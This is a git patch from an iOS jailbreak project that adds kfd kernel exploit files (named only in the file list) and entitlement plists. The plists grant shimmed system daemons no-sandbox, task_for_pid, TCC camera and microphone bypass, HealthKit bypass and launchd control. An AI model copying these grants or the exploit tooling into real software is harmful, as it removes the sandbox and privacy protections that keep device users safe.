From 9c34090461b7897548218571bcead7d1c45ebd76 Mon Sep 17 00:00:00 2001 From: hrtowii <68852354+hrtowii@users.noreply.github.com> Date: Sat, 20 Jul 2024 16:15:20 +0800 Subject: [PATCH] tried to put kfd in launchd but it doesn't work :/ --- .../launchdshim/cfprefsdshim/ent.plist | 6 +- .../generalhook/installdents.plist | 107 +- .../generalhook/mediaserverdents.plist | 501 +++++ .../launchdshim/generalhook/nfcdents.plist | 217 ++ .../launchdhook/.vscode/settings.json | 17 + .../launchdshim/launchdhook/Makefile | 4 +- .../launchdshim/launchdhook/choma/Base64.h | 11 + .../launchdhook/choma/BufferedStream.h | 19 + .../launchdshim/launchdhook/choma/CSBlob.h | 108 + .../launchdhook/choma/CodeDirectory.h | 53 + .../launchdshim/launchdhook/choma/FAT.h | 41 + .../launchdhook/choma/FileStream.h | 21 + .../launchdshim/launchdhook/choma/Host.h | 10 + .../launchdshim/launchdhook/choma/MachO.h | 62 + .../launchdhook/choma/MachOByteOrder.h | 164 ++ .../launchdhook/choma/MachOLoadCommand.h | 16 + .../launchdhook/choma/MemoryStream.h | 60 + .../launchdhook/choma/PatchFinder.h | 44 + .../launchdshim/launchdhook/choma/SignOSSL.h | 16 + .../launchdshim/launchdhook/choma/Signing.h | 12 + .../launchdshim/launchdhook/choma/Util.h | 6 + .../launchdshim/launchdhook/crashreporter.h | 46 + .../launchdshim/launchdhook/crashreporter.m | 390 ++++ .../launchdshim/launchdhook/fun/cs_blobs.h | 17 + .../launchdhook/fun/kpf/libdimentio.h | 100 + .../launchdhook/fun/kpf/libdimentio.m | 1868 +++++++++++++++++ .../launchdhook/fun/kpf/patchfinder.h | 53 + .../launchdhook/fun/kpf/patchfinder.m | 207 ++ .../launchdhook/fun/kpf/patchfinder64.h | 42 + .../launchdhook/fun/kpf/patchfinder64.m | 1452 +++++++++++++ .../launchdshim/launchdhook/fun/kpf/proc.c | 103 + .../launchdshim/launchdhook/fun/kpf/proc.h | 14 + .../launchdshim/launchdhook/fun/krw.h | 44 + .../launchdshim/launchdhook/fun/krw.m | 343 +++ .../launchdhook/fun/memoryControl.h | 40 + .../launchdhook/fun/memoryControl.m | 23 + .../launchdshim/launchdhook/fun/offsets.h | 104 + .../launchdshim/launchdhook/fun/offsets.m | 326 +++ .../launchdshim/launchdhook/fun/proc.c | 103 + .../launchdshim/launchdhook/fun/proc.h | 14 + .../launchdshim/launchdhook/fun/vnode.h | 135 ++ .../launchdshim/launchdhook/fun/vnode.m | 642 ++++++ .../launchdhook/jbserver/bsm/audit.h | 382 ++++ .../launchdhook/jbserver/bsm/audit_filter.h | 80 + .../launchdhook/jbserver/bsm/audit_session.h | 162 ++ .../launchdhook/jbserver/bsm/audit_uevents.h | 144 ++ .../launchdhook/jbserver/bsm/libbsm.h | 378 ++++ .../launchdhook/jbserver/codesign.h | 64 + .../launchdhook/jbserver/exec_patch.h | 14 + .../launchdhook/jbserver/exec_patch.m | 74 + .../launchdshim/launchdhook/jbserver/info.c | 420 ++++ .../launchdshim/launchdhook/jbserver/info.h | 538 +++++ .../launchdhook/jbserver/jbclient_xpc.c | 585 ++++++ .../launchdhook/jbserver/jbclient_xpc.h | 44 + .../jbserver/jbdomain_systemwide.c | 356 ++++ .../launchdhook/jbserver/jbserver.c | 124 ++ .../launchdhook/jbserver/jbserver.h | 101 + .../launchdhook/jbserver/jbserver_global.c | 16 + .../launchdshim/launchdhook/jbserver/kernel.c | 218 ++ .../launchdshim/launchdhook/jbserver/kernel.h | 65 + .../launchdhook/jbserver/libproc.h | 128 ++ .../launchdhook/jbserver/libproc_private.h | 27 + .../launchdshim/launchdhook/jbserver/log.c | 108 + .../launchdshim/launchdhook/jbserver/log.h | 14 + .../launchdhook/jbserver/machine_info.h | 56 + .../jbserver/primitives_external.h | 33 + .../launchdshim/launchdhook/jbserver/pte.h | 105 + .../launchdshim/launchdhook/jbserver/pvh.h | 24 + .../launchdhook/jbserver/sandbox.h | 123 ++ .../launchdhook/jbserver/translation.c | 186 ++ .../launchdhook/jbserver/translation.h | 13 + .../launchdshim/launchdhook/jbserver/util.c | 885 ++++++++ .../launchdshim/launchdhook/jbserver/util.h | 90 + .../launchdhook/jbserver/xpc_private.h | 16 + .../launchdshim/launchdhook/libkfd.h | 222 ++ .../launchdshim/launchdhook/libkfd/common.h | 212 ++ .../launchdshim/launchdhook/libkfd/info.h | 189 ++ .../launchdhook/libkfd/info/dynamic_info.h | 140 ++ .../launchdhook/libkfd/info/static_info.h | 744 +++++++ .../launchdshim/launchdhook/libkfd/krkw.h | 266 +++ .../krkw/kread/kread_kqueue_workloop_ctl.h | 108 + .../libkfd/krkw/kread/kread_sem_open.h | 253 +++ .../libkfd/krkw/kwrite/kwrite_dup.h | 145 ++ .../libkfd/krkw/kwrite/kwrite_sem_open.h | 86 + .../launchdshim/launchdhook/libkfd/perf.h | 323 +++ .../launchdshim/launchdhook/libkfd/puaf.h | 159 ++ .../launchdhook/libkfd/puaf/landa.h | 195 ++ .../launchdhook/libkfd/puaf/physpuppet.h | 117 ++ .../launchdhook/libkfd/puaf/smith.h | 607 ++++++ .../launchdshim/launchdhook/main.m | 240 ++- .../launchdshim/launchdhook/unsandbox.h | 106 + .../launchdshim/launchdhook/unsandbox.m | 102 + .../launchdshim/launchdhook/unsandbox1.m | 234 +++ .../launchdshim/launchdhook/unsandbox2.m | 270 +++ .../launchdshim/launchdhook/xpc_hook.c | 52 + .../launchdshim/launchdhook/xpc_hook.h | 1 + .../launchdshim/xpcproxyhook/xpcproxyhook.m | 45 +- RootHelperSample/main.m | 39 +- Serotonin.xcodeproj/project.pbxproj | 12 +- 99 files changed, 17800 insertions(+), 201 deletions(-) create mode 100644 RootHelperSample/launchdshim/generalhook/mediaserverdents.plist create mode 100644 RootHelperSample/launchdshim/generalhook/nfcdents.plist create mode 100644 RootHelperSample/launchdshim/launchdhook/.vscode/settings.json create mode 100644 RootHelperSample/launchdshim/launchdhook/choma/Base64.h create mode 100644 RootHelperSample/launchdshim/launchdhook/choma/BufferedStream.h create mode 100644 RootHelperSample/launchdshim/launchdhook/choma/CSBlob.h create mode 100644 RootHelperSample/launchdshim/launchdhook/choma/CodeDirectory.h create mode 100644 RootHelperSample/launchdshim/launchdhook/choma/FAT.h create mode 100644 RootHelperSample/launchdshim/launchdhook/choma/FileStream.h create mode 100644 RootHelperSample/launchdshim/launchdhook/choma/Host.h create mode 100644 RootHelperSample/launchdshim/launchdhook/choma/MachO.h create mode 100644 RootHelperSample/launchdshim/launchdhook/choma/MachOByteOrder.h create mode 100644 RootHelperSample/launchdshim/launchdhook/choma/MachOLoadCommand.h create mode 100644 RootHelperSample/launchdshim/launchdhook/choma/MemoryStream.h create mode 100644 RootHelperSample/launchdshim/launchdhook/choma/PatchFinder.h create mode 100644 RootHelperSample/launchdshim/launchdhook/choma/SignOSSL.h create mode 100644 RootHelperSample/launchdshim/launchdhook/choma/Signing.h create mode 100644 RootHelperSample/launchdshim/launchdhook/choma/Util.h create mode 100644 RootHelperSample/launchdshim/launchdhook/crashreporter.h create mode 100644 RootHelperSample/launchdshim/launchdhook/crashreporter.m create mode 100644 RootHelperSample/launchdshim/launchdhook/fun/cs_blobs.h create mode 100644 RootHelperSample/launchdshim/launchdhook/fun/kpf/libdimentio.h create mode 100644 RootHelperSample/launchdshim/launchdhook/fun/kpf/libdimentio.m create mode 100644 RootHelperSample/launchdshim/launchdhook/fun/kpf/patchfinder.h create mode 100644 RootHelperSample/launchdshim/launchdhook/fun/kpf/patchfinder.m create mode 100644 RootHelperSample/launchdshim/launchdhook/fun/kpf/patchfinder64.h create mode 100644 RootHelperSample/launchdshim/launchdhook/fun/kpf/patchfinder64.m create mode 100644 RootHelperSample/launchdshim/launchdhook/fun/kpf/proc.c create mode 100644 RootHelperSample/launchdshim/launchdhook/fun/kpf/proc.h create mode 100644 RootHelperSample/launchdshim/launchdhook/fun/krw.h create mode 100644 RootHelperSample/launchdshim/launchdhook/fun/krw.m create mode 100644 RootHelperSample/launchdshim/launchdhook/fun/memoryControl.h create mode 100644 RootHelperSample/launchdshim/launchdhook/fun/memoryControl.m create mode 100644 RootHelperSample/launchdshim/launchdhook/fun/offsets.h create mode 100644 RootHelperSample/launchdshim/launchdhook/fun/offsets.m create mode 100644 RootHelperSample/launchdshim/launchdhook/fun/proc.c create mode 100644 RootHelperSample/launchdshim/launchdhook/fun/proc.h create mode 100644 RootHelperSample/launchdshim/launchdhook/fun/vnode.h create mode 100644 RootHelperSample/launchdshim/launchdhook/fun/vnode.m create mode 100644 RootHelperSample/launchdshim/launchdhook/jbserver/bsm/audit.h create mode 100644 RootHelperSample/launchdshim/launchdhook/jbserver/bsm/audit_filter.h create mode 100644 RootHelperSample/launchdshim/launchdhook/jbserver/bsm/audit_session.h create mode 100644 RootHelperSample/launchdshim/launchdhook/jbserver/bsm/audit_uevents.h create mode 100644 RootHelperSample/launchdshim/launchdhook/jbserver/bsm/libbsm.h create mode 100644 RootHelperSample/launchdshim/launchdhook/jbserver/codesign.h create mode 100644 RootHelperSample/launchdshim/launchdhook/jbserver/exec_patch.h create mode 100644 RootHelperSample/launchdshim/launchdhook/jbserver/exec_patch.m create mode 100644 RootHelperSample/launchdshim/launchdhook/jbserver/info.c create mode 100644 RootHelperSample/launchdshim/launchdhook/jbserver/info.h create mode 100644 RootHelperSample/launchdshim/launchdhook/jbserver/jbclient_xpc.c create mode 100644 RootHelperSample/launchdshim/launchdhook/jbserver/jbclient_xpc.h create mode 100644 RootHelperSample/launchdshim/launchdhook/jbserver/jbdomain_systemwide.c create mode 100644 RootHelperSample/launchdshim/launchdhook/jbserver/jbserver.c create mode 100644 RootHelperSample/launchdshim/launchdhook/jbserver/jbserver.h create mode 100644 RootHelperSample/launchdshim/launchdhook/jbserver/jbserver_global.c create mode 100644 RootHelperSample/launchdshim/launchdhook/jbserver/kernel.c create mode 100644 RootHelperSample/launchdshim/launchdhook/jbserver/kernel.h create mode 100644 RootHelperSample/launchdshim/launchdhook/jbserver/libproc.h create mode 100644 RootHelperSample/launchdshim/launchdhook/jbserver/libproc_private.h create mode 100644 RootHelperSample/launchdshim/launchdhook/jbserver/log.c create mode 100644 RootHelperSample/launchdshim/launchdhook/jbserver/log.h create mode 100644 RootHelperSample/launchdshim/launchdhook/jbserver/machine_info.h create mode 100644 RootHelperSample/launchdshim/launchdhook/jbserver/primitives_external.h create mode 100644 RootHelperSample/launchdshim/launchdhook/jbserver/pte.h create mode 100644 RootHelperSample/launchdshim/launchdhook/jbserver/pvh.h create mode 100644 RootHelperSample/launchdshim/launchdhook/jbserver/sandbox.h create mode 100644 RootHelperSample/launchdshim/launchdhook/jbserver/translation.c create mode 100644 RootHelperSample/launchdshim/launchdhook/jbserver/translation.h create mode 100644 RootHelperSample/launchdshim/launchdhook/jbserver/util.c create mode 100644 RootHelperSample/launchdshim/launchdhook/jbserver/util.h create mode 100644 RootHelperSample/launchdshim/launchdhook/jbserver/xpc_private.h create mode 100644 RootHelperSample/launchdshim/launchdhook/libkfd.h create mode 100644 RootHelperSample/launchdshim/launchdhook/libkfd/common.h create mode 100644 RootHelperSample/launchdshim/launchdhook/libkfd/info.h create mode 100644 RootHelperSample/launchdshim/launchdhook/libkfd/info/dynamic_info.h create mode 100644 RootHelperSample/launchdshim/launchdhook/libkfd/info/static_info.h create mode 100644 RootHelperSample/launchdshim/launchdhook/libkfd/krkw.h create mode 100644 RootHelperSample/launchdshim/launchdhook/libkfd/krkw/kread/kread_kqueue_workloop_ctl.h create mode 100644 RootHelperSample/launchdshim/launchdhook/libkfd/krkw/kread/kread_sem_open.h create mode 100644 RootHelperSample/launchdshim/launchdhook/libkfd/krkw/kwrite/kwrite_dup.h create mode 100644 RootHelperSample/launchdshim/launchdhook/libkfd/krkw/kwrite/kwrite_sem_open.h create mode 100644 RootHelperSample/launchdshim/launchdhook/libkfd/perf.h create mode 100644 RootHelperSample/launchdshim/launchdhook/libkfd/puaf.h create mode 100644 RootHelperSample/launchdshim/launchdhook/libkfd/puaf/landa.h create mode 100644 RootHelperSample/launchdshim/launchdhook/libkfd/puaf/physpuppet.h create mode 100644 RootHelperSample/launchdshim/launchdhook/libkfd/puaf/smith.h create mode 100644 RootHelperSample/launchdshim/launchdhook/unsandbox.h create mode 100644 RootHelperSample/launchdshim/launchdhook/unsandbox.m create mode 100644 RootHelperSample/launchdshim/launchdhook/unsandbox1.m create mode 100644 RootHelperSample/launchdshim/launchdhook/unsandbox2.m create mode 100644 RootHelperSample/launchdshim/launchdhook/xpc_hook.c create mode 100644 RootHelperSample/launchdshim/launchdhook/xpc_hook.h diff --git a/RootHelperSample/launchdshim/cfprefsdshim/ent.plist b/RootHelperSample/launchdshim/cfprefsdshim/ent.plist index d7979979..9cc64c80 100644 --- a/RootHelperSample/launchdshim/cfprefsdshim/ent.plist +++ b/RootHelperSample/launchdshim/cfprefsdshim/ent.plist @@ -8,6 +8,10 @@ get-task-allow + platform-application + + task_for_pid-allow + com.apple.private.MobileContainerManager.otherIdLookup com.apple.private.security.storage.CoreRoutine @@ -26,7 +30,5 @@ systemgroup.com.apple.cfpreferences.managed - platform-application - diff --git a/RootHelperSample/launchdshim/generalhook/installdents.plist b/RootHelperSample/launchdshim/generalhook/installdents.plist index 648b8028..c09f9179 100644 --- a/RootHelperSample/launchdshim/generalhook/installdents.plist +++ b/RootHelperSample/launchdshim/generalhook/installdents.plist @@ -2,110 +2,15 @@ - platform-application - - com.apple.private.security.no-container - - get-task-allow - - task_for_pid-allow - - com.apple.private.security.no-sandbox - - com.apple.private.domain-extension - - com.apple.private.security.container-required - com.apple.private.security.no-container - com.apple.private.xpc.domain-extension - - com.apple.private.xpc.domain-extension.proxy - - com.apple.private.xpc.launchd.app-state-manager - - com.apple.private.xpc.launchd.enable-disable-system-services - - com.apple.private.xpc.launchd.event-monitor - - com.apple.private.xpc.launchd.loginitem-bootstrapper - - com.apple.private.xpc.launchd.loginitem-outside-bundle - - com.apple.private.xpc.launchd.obliterator - - com.apple.private.xpc.launchd.per-user-create.mbsetupuser - - com.apple.private.xpc.launchd.per-user-lookup - - com.apple.private.xpc.launchd.reboot - - com.apple.private.xpc.launchd.service-hold - - com.apple.private.xpc.launchd.userspace-reboot - - com.apple.private.xpc.launchd.userspace-reboot-now - - com.apple.private.xpc.persona-creator - - com.apple.private.xpc.persona-manager + com.apple.private.security.storage.AppDataContainers - com.apple.private.persona-mgmt - - com.apple.private.xpc.service-attach - - com.apple.private.xpc.service-configure - - com.apple.private.set-launch-type.internal - - com.apple.security.exception.mach-lookup.global-name - - com.apple.mmaintenanced - com.apple.memory-maintenance - - com.apple.apfs.get-dev-by-role - - com.apple.private.amfi.can-allow-non-platform - - com.apple.private.iokit.system-nvram-allow - - com.apple.private.kernel.system-override - - com.apple.private.pmap.load-trust-cache - - cryptex1.boot.os - cryptex1.boot.app - cryptex1.safari-downlevel - - com.apple.private.record_system_event - - com.apple.private.roots-installed-read-write - - com.apple.private.security.disk-device-access - - com.apple.private.security.storage.driverkitd - - com.apple.private.security.storage.launchd - - com.apple.private.security.system-mount-authority - - com.apple.private.set-atm-diagnostic-flag - - com.apple.private.spawn-panic-crash-behavior - - com.apple.private.spawn-subsystem-root - - com.apple.private.vfs.allow-low-space-writes - - com.apple.private.vfs.graftdmg - - com.apple.private.vfs.pivot-root - - com.apple.rootless.restricted-block-devices + get-task-allow - com.apple.rootless.storage.early_boot_mount + platform-application - com.apple.rootless.volume.Preboot + task_for_pid-allow com.apple.security.network.server @@ -148,9 +53,5 @@ 2033844765 keychain-cloud-circle - seatbelt-profiles - - installd - \ No newline at end of file diff --git a/RootHelperSample/launchdshim/generalhook/mediaserverdents.plist b/RootHelperSample/launchdshim/generalhook/mediaserverdents.plist new file mode 100644 index 00000000..7fe12e60 --- /dev/null +++ b/RootHelperSample/launchdshim/generalhook/mediaserverdents.plist @@ -0,0 +1,501 @@ + + + + + application-identifier + com.apple.lskdd + checklessPersistentURLTranslation + + com.apple.BTServer.le + + com.apple.BluetoothServices + + com.apple.BluetoothServices.cloud + + com.apple.CommCenter.fine-grained + + spi + + com.apple.CompanionLink + + com.apple.MFAAuthentication + + certificate-auth + pairing + token-auth + + com.apple.MediaGroups.client + + com.apple.MediaGroups.groups + + com.apple.media-group.solo-HomePodAccessory + com.apple.media-group.solo-SpeakerAccessory + com.apple.media-group.solo-AudioReceiverAccessory + com.apple.media-group.PSG + com.apple.media-group.media-system + com.apple.media-group.room + + com.apple.MobileAsset.VoiceTriggerAssetsWatch + + com.apple.PairingManager.HomeKit + + com.apple.PairingManager.Read + + com.apple.PairingManager.Write + + com.apple.QuartzCore.displayable-context + + com.apple.QuartzCore.secure-mode + + com.apple.TapToRadarKit.service-access + + com.apple.airplay.receivercontroller + + com.apple.aned.private.allow + + com.apple.aop.fastpath.user-client + + imu800 + + read + + + + com.apple.aop.hid-device.user-client + + gesture + + send-command + + + orientation + + send-command + + + + com.apple.appleneuralengine.private.allow + + com.apple.assistant.dictation.prerecorded + + com.apple.avfoundation.allow-video-data-output-to-change-output-dimensions + + com.apple.backboard.client + + com.apple.backboardd.estimatedProximityDetection + + com.apple.backboardd.launchapplications + + com.apple.backboardd.virtualDisplay + + com.apple.bluetooth.internal + + com.apple.bluetooth.system + + com.apple.camera.iokit-user-access + + com.apple.cards.all-access + + com.apple.carousel.onWristMonitor.actions + monitor + com.apple.coreaudio.app-tap + + com.apple.coreaudio.private.SystemWideTap + + com.apple.coreaudio.register-internal-aus + + com.apple.coreduetd.allow + + com.apple.coreduetd.context + + com.apple.corespeech.corespeechd.activation.xpc + + com.apple.corespeech.xpc + + com.apple.corespeechd.activation + + com.apple.developer.device-information.user-assigned-device-name + + com.apple.developer.driverkit.userclient-access + + com.apple.DriverKit-AppleBCMWLAN + + com.apple.developer.healthkit + + com.apple.developer.networking.multipath + + com.apple.developer.networking.route_nc_read + + com.apple.driver.AppleBasebandPCI.user-access + + com.apple.driver.AppleBasebandPCIControl.user-access + + com.apple.driver.AppleConvergedIPCICEBB.user-access + + com.apple.driver.AppleConvergedIPCICEBBControl.user-access + + com.apple.frontboard.launchapplications + + com.apple.frontboardservices.display-layout-monitor + + com.apple.hid.manager.user-access-device + + com.apple.hid.system.user-access-fast-path + + com.apple.iaptransportd.clientport + + com.apple.idle-timer-services + + com.apple.itunesstored.private + + com.apple.mediaanalysisd.client + + com.apple.mediaremote.send-commands + + com.apple.mkb.usersession.info + + com.apple.multitasking.unlimitedassertions + + com.apple.nano.nanoregistry.generalaccess + + com.apple.nearbyinteraction.background + + com.apple.networkd.set_source_application + + com.apple.networkd_privileged + + com.apple.private.CarPlayServices.app-history + + com.apple.private.DistributedEvaluation.RecordAccess-com.apple.fides.borealis + + com.apple.private.DistributedEvaluation.RecordAccess-com.apple.fides.phs + + com.apple.private.FairPlayIOKitUserClient.access + + com.apple.private.IOSurface.wiredSendRights + + com.apple.private.MobileContainerManager.userManagedAssets + + com.apple.private.MobileGestalt.AllowedProtectedKeys + + SysCfgDict + + com.apple.private.accessories.showallconnections + + com.apple.private.allow-explicit-graphics-priority + + com.apple.private.allow-external-storage + + com.apple.private.aop-audio.user-access + + com.apple.private.aop-envsense.user-access + + com.apple.private.aop-voicetrigger.user-access + + com.apple.private.assets.accessible-asset-types + + com.apple.MobileAsset.VoiceTriggerAssets + com.apple.MobileAsset.RaiseToSpeakAssets + com.apple.MobileAsset.MXLongFormVideoAppsV2 + com.apple.MobileAsset.AirPlayMobileAssetsV2 + com.apple.MobileAsset.VoiceServicesVocalizerVoice + com.apple.MobileAsset.VoiceServices.CustomVoice + com.apple.MobileAsset.VoiceServices.GryphonVoice + com.apple.MobileAsset.VoiceServices.VoiceResources + + com.apple.private.attribution.implicitly-assumed-identity + + type + path + value + /usr/sbin/mediaserverd + + com.apple.private.audio.driver-host + + com.apple.private.audio.hal.aop-audio.user-access + + com.apple.private.biome.read-write + + ScreenRecording + ScreenSharing + Media.StreamingStats + + com.apple.private.bmk.allow + + com.apple.private.carkit + + com.apple.private.carkit.carconnectiontime + + com.apple.private.carkit.dnd + + com.apple.private.cecd.control + + com.apple.private.cecd.observer + + com.apple.private.controlcenter.service.moduleidentifiers + + com.apple.replaykit.VideoConferenceControlCenterModule + com.apple.replaykit.AudioConferenceControlCenterModule + + com.apple.private.coreaudio.borrowaudiosession.allow + + com.apple.private.coreaudio.rpbserver + + com.apple.private.coreservices.canmaplsdatabase + + com.apple.private.corespeech.voicetrigger_service + + com.apple.private.corewifi + + com.apple.private.dmd.policy + + com.apple.private.driverkit.driver-access + + com.apple.developer.driverkit.family.audio + + com.apple.private.externalaccessory.showallaccessories + + com.apple.private.healthkit + + com.apple.private.healthkit.authorization_bypass + + com.apple.private.healthkit.medicaliddata + + com.apple.private.healthkit.source.default + com.apple.private.health.localdevice + com.apple.private.healthkit.zeppelin + + com.apple.private.hid.client.event-monitor + + com.apple.private.homehubd + + endpoint-read + + com.apple.private.ids.link-preferences + + com.apple.private.ids.messaging + + com.apple.private.alloy.fignero + com.apple.private.alloy.cmsession + com.apple.private.alloy.bluetooth.audio + + com.apple.private.ids.messaging.high-priority + + com.apple.private.alloy.cmsession + com.apple.private.alloy.bluetooth.audio + + com.apple.private.ids.self-session + + com.apple.private.alloy.fignero + + com.apple.private.imcore.imremoteurlconnection + + com.apple.private.kernel.audio_latency + + com.apple.private.kernel.clpc-alt-control + + com.apple.private.kernel.override-cpumon + + com.apple.private.kernel.system-override + + com.apple.private.kernel.work-interval + + com.apple.private.lockdown.finegrained-get + + NULL/TrustedHostAttached + + com.apple.private.logging.stream + + com.apple.private.master-sync-generator.user-access + + com.apple.private.mediaexperience.allowwombatenabled + + com.apple.private.nearbyinteraction.privileged + + com.apple.private.necp.match + + com.apple.private.network.interface-control + + com.apple.private.network.socket-delegate + + com.apple.private.nlcd-control + + com.apple.private.ppm.client + + com.apple.private.privacy.accounting.write + + com.apple.private.proreshw + + com.apple.private.rtcreportingd + + com.apple.private.scodec-user-client.access + + com.apple.private.security.storage.HomeAI + + com.apple.private.security.storage.Photos + + com.apple.private.security.system-async-io + + com.apple.private.stackshot.stats + + com.apple.private.system-keychain + + com.apple.private.tcc.allow + + kTCCServiceMicrophone + kTCCServiceCamera + kTCCServicePhotos + kTCCServiceMotion + kTCCServiceMediaLibrary + + com.apple.private.tcc.manager.access.read + + kTCCServiceSensorKitSpeechMetrics + + com.apple.private.tcc.manager.check-by-audit-token + + kTCCServiceMicrophone + kTCCServiceCamera + kTCCServicePhotos + kTCCServiceMotion + kTCCServiceMediaLibrary + + com.apple.private.tcc.manager.get-identity-for-credential + + com.apple.private.usernotifications.bundle-identifiers + + com.apple.coreaudio.adam.hae + com.apple.coreaudio.adam.hae-watchos + + com.apple.private.vfs.allow-low-space-writes + + com.apple.private.virtio.sound.user-access + + com.apple.proactive.eventtracker + + com.apple.rapport.Client + + com.apple.relatived.tempest + + com.apple.rootless.storage.facekit + + com.apple.runningboard.assertions.coremedia + + com.apple.runningboard.cameracapture + + com.apple.runningboard.mediaexperience + + com.apple.runningboard.targetidentities + + com.apple.security.device.audio-input + + com.apple.security.exception.iokit-user-client-class + + SCodecUserClient + AppleIPCAudioDeviceUserClient + AppleMSGKextUserClient + AppleMSGKextEPICUserClient + AppleSPUFastpathDriverUserClient + + com.apple.security.exception.mach-lookup.global-name + + com.apple.TapToRadarKit.service + com.apple.mmaintenanced + com.apple.memory-maintenance + + com.apple.security.network.client + + com.apple.security.network.server + + com.apple.sensorkit.writer.allow + + com.apple.SensorKit.speechMetrics.telephony + com.apple.SensorKit.speechEmotion.telephony + com.apple.SensorKit.soundDetection.telephony + + com.apple.sharing.DeviceDiscovery + + com.apple.siri.activation + + com.apple.siri.external_request + + com.apple.springboard.CFUserNotification + + com.apple.springboard.externaldisplay.displayArrangements + + com.apple.springboard.opensensitiveurl + + com.apple.springboard.remote-alert + + com.apple.springboard.thermalWarningSuppression + + com.apple.symptom_analytics.query + + com.apple.symptom_analytics.refresh + + com.apple.symptom_diagnostics.report + + com.apple.symptoms.NetworkOfInterest + + com.apple.systemstatus.activityattribution + + com.apple.systemstatus.publisher.domains + media + com.apple.tailspin.dump-output + + com.apple.telephonyutilities.callservicesd + + access-calls + modify-activity-session-airplay + + com.apple.trial.client + + 311 + 312 + + com.apple.videoconference.allow-conferencing + + com.apple.videotoolbox.hardwarevideodecoder + + com.apple.videotoolbox.leghorn + + com.apple.voiced.can-dump-audio + + com.apple.voiceservices.tts + + com.apple.voiceservices.tts.customvoice + + com.apple.voicetrigger.voicetriggerservice + + com.apple.wifi.manager-access + + com.apple.wifip2pd + + com.apple.wlan.authentication + + fairplay-client + 883412483 + keychain-access-groups + + com.apple.airplay + com.apple.apsd + com.apple.cfnetwork + com.apple.identities + com.apple.airplay.pairing + + lskdd-client + 898061433 + secure-key-vault-client + 1994590856 + com.apple.private.security.no-container + + com.apple.private.security.storage.AppDataContainers + + get-task-allow + + platform-application + + task_for_pid-allow + + + diff --git a/RootHelperSample/launchdshim/generalhook/nfcdents.plist b/RootHelperSample/launchdshim/generalhook/nfcdents.plist new file mode 100644 index 00000000..7fa64535 --- /dev/null +++ b/RootHelperSample/launchdshim/generalhook/nfcdents.plist @@ -0,0 +1,217 @@ + + + + + allow-softwareupdated + + application-identifier + com.apple.nfcd + com.apple.CommCenter.fine-grained + + spi + + com.apple.SystemConfiguration.SCPreferences-read-access + + com.apple.radios.plist + + com.apple.accessibility.automation.client + + com.apple.private.skip-library-validation + + com.apple.coreduetd.allow + + com.apple.coreduetd.context + + com.apple.frontboardservices.display-layout-monitor + + com.apple.iokit.wakerequest + + com.apple.keystore.sik.access + + com.apple.mobileactivationd.device-identifiers + + com.apple.mobileactivationd.spi + + com.apple.nfcd.event.notification + + com.apple.nfcd.xpc.homed.uaevents + + com.apple.nfrestore + + com.apple.private.MobileGestalt.AllowedProtectedKeys + + UniqueChipID + SerialNumber + + com.apple.private.applecredentialmanager.allow + + com.apple.private.applesmc.user-access + + com.apple.private.applesse.allow + + com.apple.private.assets.accessible-asset-types + + com.apple.symptom_diagnostics + com.apple.MobileAsset.AppletTranslationLibraryAssets + + com.apple.private.barcodesupport.allowNotifications + + com.apple.private.biome.read-write + + Device.Wireless.NFCTag + + com.apple.private.coreservices.canmaplsdatabase + + com.apple.private.hid.client.event-monitor + + com.apple.private.mobilerepair.xpc + + com.apple.private.ppm.client + + com.apple.private.sandbox.profile:embedded + nfcd + com.apple.private.stockholm.allow + + com.apple.security.attestation.access + + com.apple.security.exception.files.absolute-path.read-only + + /private/var/hardware/FactoryData/System/Library/Caches/ + + com.apple.security.exception.mach-lookup.global-name + + com.apple.symptom_diagnostics + com.apple.mobilerepaird + com.apple.passd.nf-events + com.apple.nfcd.xpc.homed.uaevents + com.apple.biome.access.user + com.apple.biome.PublicStreamAccessService + com.apple.frontboard.systemappservices + com.apple.mmaintenanced + com.apple.memory-maintenance + + com.apple.security.exception.shared-preference.read-write + + com.apple.symptom_diagnostics + com.apple.stockholm.analytics + com.apple.ControlCenter + com.apple.homed + + com.apple.security.system-groups + + systemgroup.com.apple.osanalytics + + com.apple.sharing.Client + + com.apple.springboard.launchapplications + + com.apple.springboard.opensensitiveurl + + com.apple.sts.xpcservice.client + + keychain-access-groups + + com.apple.applesse + + platform-application + + com.apple.private.security.no-container + + get-task-allow + + task_for_pid-allow + + com.apple.private.security.no-sandbox + + com.apple.private.domain-extension + + com.apple.private.security.container-required + + com.apple.private.security.no-container + + com.apple.private.xpc.domain-extension + + com.apple.private.xpc.domain-extension.proxy + + com.apple.private.xpc.launchd.app-state-manager + + com.apple.private.xpc.launchd.enable-disable-system-services + + com.apple.private.xpc.launchd.event-monitor + + com.apple.private.xpc.launchd.loginitem-bootstrapper + + com.apple.private.xpc.launchd.loginitem-outside-bundle + + com.apple.private.xpc.launchd.obliterator + + com.apple.private.xpc.launchd.per-user-create.mbsetupuser + + com.apple.private.xpc.launchd.per-user-lookup + + com.apple.private.xpc.launchd.reboot + + com.apple.private.xpc.launchd.service-hold + + com.apple.private.xpc.launchd.userspace-reboot + + com.apple.private.xpc.launchd.userspace-reboot-now + + com.apple.private.xpc.persona-creator + + com.apple.private.xpc.persona-manager + + com.apple.private.persona-mgmt + + com.apple.private.xpc.service-attach + + com.apple.private.xpc.service-configure + + com.apple.private.set-launch-type.internal + + com.apple.apfs.get-dev-by-role + + com.apple.private.amfi.can-allow-non-platform + + com.apple.private.iokit.system-nvram-allow + + com.apple.private.kernel.system-override + + com.apple.private.pmap.load-trust-cache + + cryptex1.boot.os + cryptex1.boot.app + cryptex1.safari-downlevel + + com.apple.private.record_system_event + + com.apple.private.roots-installed-read-write + + com.apple.private.security.disk-device-access + + com.apple.private.security.storage.driverkitd + + com.apple.private.security.storage.launchd + + com.apple.private.security.system-mount-authority + + com.apple.private.set-atm-diagnostic-flag + + com.apple.private.spawn-panic-crash-behavior + + com.apple.private.spawn-subsystem-root + + com.apple.private.vfs.allow-low-space-writes + + com.apple.private.vfs.graftdmg + + com.apple.private.vfs.pivot-root + + com.apple.rootless.restricted-block-devices + + com.apple.rootless.storage.early_boot_mount + + com.apple.rootless.volume.Preboot + + + diff --git a/RootHelperSample/launchdshim/launchdhook/.vscode/settings.json b/RootHelperSample/launchdshim/launchdhook/.vscode/settings.json new file mode 100644 index 00000000..7890c4a2 --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/.vscode/settings.json @@ -0,0 +1,17 @@ +{ + "files.associations": { + "libbsm.h": "c", + "util.h": "c", + "xpc.h": "c", + "xpc_private.h": "c", + "exec_patch.h": "c", + "libproc.h": "c", + "kernel.h": "c", + "info.h": "c", + "jbclient_xpc.h": "c", + 